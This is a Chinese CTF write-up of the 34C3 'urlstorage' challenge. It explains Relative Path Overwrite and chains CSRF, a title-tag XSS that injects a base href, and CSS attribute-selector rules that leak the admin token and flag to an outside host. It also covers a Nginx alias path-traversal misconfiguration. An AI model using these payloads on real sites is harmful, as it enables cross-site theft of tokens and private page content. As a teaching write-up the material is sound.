拿34c3ctf的一道题学习一下rpo漏洞和django的配置
测试环境
Github上的一个CTF题目的源码,利用RPO,进行XSS+CSRF攻击。
https://github.com/eboda/34c3ctf/tree/master/urlstorage
ps: build的时候,发现mysql服务起不来,排了下错,发现是权限问题,修改Dockerfile文件,在起mysql服务前加上chown -R mysql:mysql /var/lib/mysql解决。
RPO(Relative Path Overwrite)
描述:
RPO(Relative Path Overwrite)相对路径覆盖,主要是利用浏览器的一些特性和部分服务端的配置差异导致的漏洞,通过一些技巧,我们可以通过相对路径来引入其他的资源文件,以至于达成我们想要的目的。
利用方法
1.加载任意目录下静态资源文件
就是通过相对路径加载不同路径下的其他同名js/css文件。
2.将返回内容按静态文件解析
在很多使用了url_rewrite的php开发框架以及python web框架中,经常使用相对路径来加载静态资源文件,而且url都有一个特征。
比如/rpo/user/id/1,这里表示使用参数为id,值为1的内容访问user接口;
比如/rpo/user.php/name/tester,这里表示使用参数name,内容为tester的内容访问user.php文件等。
本题里,正常的链接是这样的:
我们访问这样一个链接,发现还是返回了原内容,但是没有css的解析。
css的解析地址是:
正常的网站访问,就会去访问/static/css/milligram.min.css,获取到css文件,而第二次访问,虽然由于url_rewrite,也返回了网页内容,css地址被认为是/urlstorage/static/css/milligram.min.css,所以没有被解析。而又由于url_rewrite,返回内容就是文件内容,我们如果控制其中的内容,利用CSS在加载的时候与JS一样是逐行解析的,不同的是CSS会忽略页面中不符合CSS语法的行,可以将文件内容按照静态文件解析。
比如输入:%0a{}%0aurl:{}*{color:red}
返回的文本被当作静态文件解析了。
回到题目
题目有几个发现。
1.在urstorage页面存在csrf,可以任意修改他人的url链接,结合css加载可构成rop。
2.在contact页面存在ssrf,提交的所有链接会被管理员点击。
3.在flag页面token存在跨站。
通过观察页面可以知道真正的flag在管理员的flag页面里。
根据https://lorexxar.cn/2017/10/25/csp-paper/#1、nonce-script-CSP-Bypass里提到的CSS选择器来读取页面内容,可以形成攻击思路,利用contact页面提交的链接,修改管理员的url内容,让其加载我们指定的css样式,我们读取其页面内容。
我们的目的是读取flag,读取flag需要首先知道管理员的token值,所以我们第一步是要通过urlstorage页面读取其token,另外在flag页面无法直接构成rop,需要知道另一个知识。
在浏览器处理相对路径时,一般情况是获取当前url的最后一个/前作为base url,但是如果页面中给出了
base标签,那么就会读取base标签中的url作为base url。
而这题在flag页面存在跨站,跨站点就在head标签里,所以正好可以利用其构成base标签。
http://192.168.42.134:8080/flag?token=cdebcc090a8b4e339b876c33ad1c0acb%3C/title%3E%3Cbase%20href=urlstorage/123%3E
获取管理员token。
通过语句:
a[href^=flag\?token\=0]{background: url(//192.168.8.143/ctf/ans.php?ans=0);}
a[href^=flag\?token\=1]{background: url(//192.168.8.143/ctf/ans.php?ans=1);}
......
a[href^=flag\?token\=f]{background: url(//192.168.8.143/ctf/ans.php?ans=f);}
之后获取flag:
有个坑点css选择器在匹配的时候首字符不能是数字。因为flag的格式是34c3_,可以用以下两种方式解决:
1、使用css的*模糊匹配
#flag[value*=C3_1]{background: url(http://xxx.pw/?flag=C3_1);}
2、使用16进制编码
#flag[value^=\33\34\43\33]{background: url(http://xxx.pw/?34c3);}
还有个坑点,提交链接后提示,管理员只会花3秒钟处理你的链接,而3秒钟连token都跑不出来,并且每次管理员访问你的链接都会更新token,所以要求我们一次性完成获取flag。
这里要用到题目给的一个pow.py,用脚本跑出一个解并提交,管理员就会用30秒处理你的链接。
大佬的代码(膜拜):
https://github.com/eboda/34c3ctf/edit/master/urlstorage/exploit/exploit.php
nginx配置错误导致目录穿越
这道题还有一个非预期解。
在于题目使用了Nginx做反向代理,动态的部分被proxy_pass传递给后端端口,而静态文件需要Nginx来处理。
而Nginx在配置时,url上startic没有加后缀,后面的alias加了后缀‘/’,这个/就导致我们可以从/static/目录穿越到它的上层目录。
可以直接读取到flag:
参考:http://blog.nsfocus.net/rpo-attack/
参考:https://paper.seebug.org/493/
参考:https://lorexxar.cn/2017/10/25/csp-paper/